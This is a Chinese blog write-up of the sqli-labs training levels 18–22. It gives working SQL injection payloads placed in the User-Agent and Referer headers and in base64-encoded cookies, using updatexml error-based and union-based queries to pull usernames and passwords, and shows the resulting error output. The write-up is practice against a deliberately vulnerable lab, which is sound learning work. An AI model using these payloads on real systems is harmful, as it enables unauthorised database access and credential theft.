zoukankan      html  css  js  c++  java
  • 【sqli-labs】Less18~Less22

    Less18: User-Agent注入,有错误回显

    感叹一句,越来越难了。现在只能先看代码再分析怎么注入了.....

    通过代码,发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。

    用户名密码就假设已知为admin/admin了。

    还是用updatexml函数,用Burp Suite更改user-agent字段为:

    Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

    显示报错XPATH syntax error: '~Dumb:Dumb'

    Less19:

    与Less18几乎一模一样,就是注入位置变为Referer了

    修改Referer为:

    http://127.0.0.1/sqli-labs-master/Less-19/' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

    Less20: Cookie注入,有回显

    这个开始看了半天没看懂....后来发现原来少看了最前面那个判断是否有cookie的if。

    代码逻辑是,如果没有cookie,则生成cookie;如果有cookie则显示cookie相关的信息。

    代码中设置cookie时用到的用户名和密码都是有检查的,无法注入。所以要从已有cookie时的查询语句入手。

    SELECT * FROM users WHERE username='$cookee' LIMIT 0,1

    看到就是普通的select语句,可以直接通过闭合注入。

    此外还要知道cookie的格式,从代码中可以看到setcookie('uname', $cookee, time()+3600); 键是uname

    故通过Burp suite添加cookie

    uname=' union select 1, group_concat(concat(username,':',password)),3 from users -- a

    注意,我们并不需要知道真实的用户名和密码,直接通过构造cookie就可以获取数据了。

    Less21:Cookie注入,有回显,base64编码

    与20的区别是对cookie值用base64进行了编码。故需要将注入语句

    ') union select 1, group_concat(concat(username,':',password)),3 from users -- a

    进行编码,具体Cookie处注入

    uname=JykgdW5pb24gc2VsZWN0IDEsIGdyb3VwX2NvbmNhdChjb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSksMyBmcm9tIHVzZXJzIC0tIGE=

    Less22:Cookie注入,有回显,base64编码

    其实就是把之前的单引号换成双引号了。

    明文:

    " union select 1, group_concat(concat(username,':',password)),3 from users -- a

    base64编码的注入信息:

    uname=IiB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpKSwzIGZyb20gdXNlcnMgLS0gYQ==

    另外提供一个updatexml报错版本

    练习用的,想一次性获取所有数据失败了,无法显示那么长的信息,只显示了一截。还是要一条一条的获取。另外用updatexml时在写注入语句的时候前面要加个0x7e,即~符号,可以使信息更加完整。

    " or updatexml(1, concat(0x7e,(select a from (select group_concat(concat(username,':',password)) a from users)x),0x7e),0) -- a

    base64编码

    uname=IiBvciB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBhIGZyb20gKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkpIGEgZnJvbSB1c2Vycyl4KSwweDdlKSwwKSAtLSBh
  • 相关阅读:
    杂项
    hdu 2094
    hdu acm 1004
    android 重装sdk或者系统的时模拟器出现can open ****
    使用Java模拟操作系统高优先级算法
    各种语法解释及用法
    枚举与结构
    闭包
    socket
    异常
  • 原文地址:https://www.cnblogs.com/dplearning/p/7375363.html
Copyright © 2011-2022 走看看